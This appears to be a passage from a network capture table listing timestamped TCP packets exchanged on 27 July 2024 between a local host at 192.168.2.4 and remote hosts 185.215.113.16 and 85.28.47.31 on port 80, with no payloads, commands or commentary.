Jul 27, 2024 05:39:07.817764997 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.817800999 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.817831039 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.817878962 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.817909956 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.817928076 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.817961931 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.817982912 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.818012953 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.818093061 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.818111897 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.818140984 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.818160057 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.818191051 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.818208933 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.818239927 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.818257093 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.818288088 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.818306923 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.818332911 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.818356037 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.818387032 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.818407059 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.818434954 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.818456888 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.818487883 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.818506956 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.818535089 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.818553925 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.818584919 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.818612099 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.818634033 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.818655968 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.818681955 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.818717003 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.818747044 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.818764925 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.818797112 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.818813086 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.818842888 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.818873882 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.818892956 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.818922043 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.818942070 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.818973064 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.818991899 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.819020987 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.819041014 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.819072008 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.819092035 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.819120884 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.819153070 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.819171906 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.819200993 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.819219112 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.819252014 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.819269896 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.819300890 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.819319963 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.819354057 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.819375038 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.819399118 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.872245073 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.872292995 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.872347116 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.872374058 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.872374058 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.872405052 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.872440100 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.872519970 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.872555017 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.872584105 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.872617960 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.872632027 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.872663021 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.872698069 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.872719049 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.872752905 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.872770071 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.872803926 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.872857094 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.873039961 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.873070955 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.873128891 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.873142958 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.873172998 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.873224020 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.873239994 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.873287916 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.873342991 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.873357058 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.873383999 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.873404026 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.873433113 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.873454094 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.873483896 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.873505116 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.873533964 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.873555899 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.873604059 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.873624086 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.873656034 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.873708963 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.873728037 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.873759985 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.873790979 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.873812914 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.873840094 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.873861074 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.873895884 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.873927116 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.873945951 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.873974085 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.873995066 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.874033928 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.874048948 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.874077082 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.874109030 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.874126911 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.874164104 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.874176025 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.874207020 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.874254942 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.919866085 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.919949055 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.919967890 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.920022011 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.920056105 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.920105934 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.920126915 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.920162916 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.920213938 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.920233011 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.920264959 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.920295954 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.920321941 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.920347929 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.920372009 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.920403004 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.920423031 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.920450926 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.920471907 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.920526981 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.920557976 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.920592070 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.920609951 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.920629025 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.920665979 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.920682907 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.920713902 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.920742035 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.920759916 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.920788050 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.920816898 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.920847893 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.920866013 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.920906067 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.920968056 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.920981884 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.921032906 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.921083927 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.921099901 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.921147108 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.921175957 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.921207905 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.921232939 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.921263933 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.921298981 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.921318054 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.921333075 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.921365023 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.921395063 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.921412945 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.921436071 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.921483040 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.921503067 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.921541929 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.921566963 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.921614885 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.921636105 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.921665907 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.921698093 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.921726942 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.921751976 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.921770096 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.921801090 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.921833038 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.921864986 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.921895981 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.921916962 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.921936035 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.921962023 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.921987057 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.922034025 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.922081947 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.922102928 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.922133923 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.922179937 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.922199965 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.922229052 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.922250032 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.922281027 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.922312021 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.922333002 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.922369003 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.922383070 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.922420025 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.922432899 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.922470093 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.922482967 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.922513008 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.922548056 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.922569036 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.922599077 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.922630072 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.922653913 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.922677040 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.922698975 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.922732115 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.922763109 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.922794104 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.922812939 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.922832012 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.922858000 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.922879934 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.922910929 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.922941923 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.922960997 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.922991991 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.923007965 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.923039913 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.923069954 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.923089981 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.923121929 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.923137903 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.923170090 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.923201084 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.923222065 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.923253059 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.923269033 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.923300028 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.923331022 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.923351049 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.923377991 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.923402071 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.923433065 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.923453093 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.923471928 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.923500061 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.923530102 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.923561096 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.923578978 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.923614979 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.923628092 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.923656940 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.923687935 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.923717976 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.923746109 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.923758984 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.923789024 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.923809052 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.923839092 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.923858881 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.923885107 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.923907995 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.923942089 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.923960924 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.923986912 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.924005032 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.924056053 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.963649035 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.963699102 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.963733912 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.963783026 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.963803053 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.963845968 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.963877916 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.963932991 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.963984013 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.964016914 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.964066029 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.964116096 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.964147091 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.964178085 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.964205980 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.964205980 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.964205980 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.964205980 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.964205980 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.964243889 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.964291096 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.964323044 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.964349031 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.964376926 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.964397907 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.964428902 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.964452028 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.964507103 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.964540958 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.964561939 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.964591026 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.964612007 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.964651108 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.964665890 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.964694977 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.964735985 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.964749098 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.964773893 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.964804888 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.964818954 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.964848995 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.964879990 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.964910984 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.964936972 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.964956045 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.964996099 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.965008974 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.965073109 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.971889973 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:07.971976042 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:07.976217031 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:07.981230974 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:08.011975050 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012006044 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012020111 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012027025 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012033939 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012057066 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012073040 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012085915 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012093067 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012099981 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012126923 CEST	80	49476	185.215.113.16	192.168.2.4
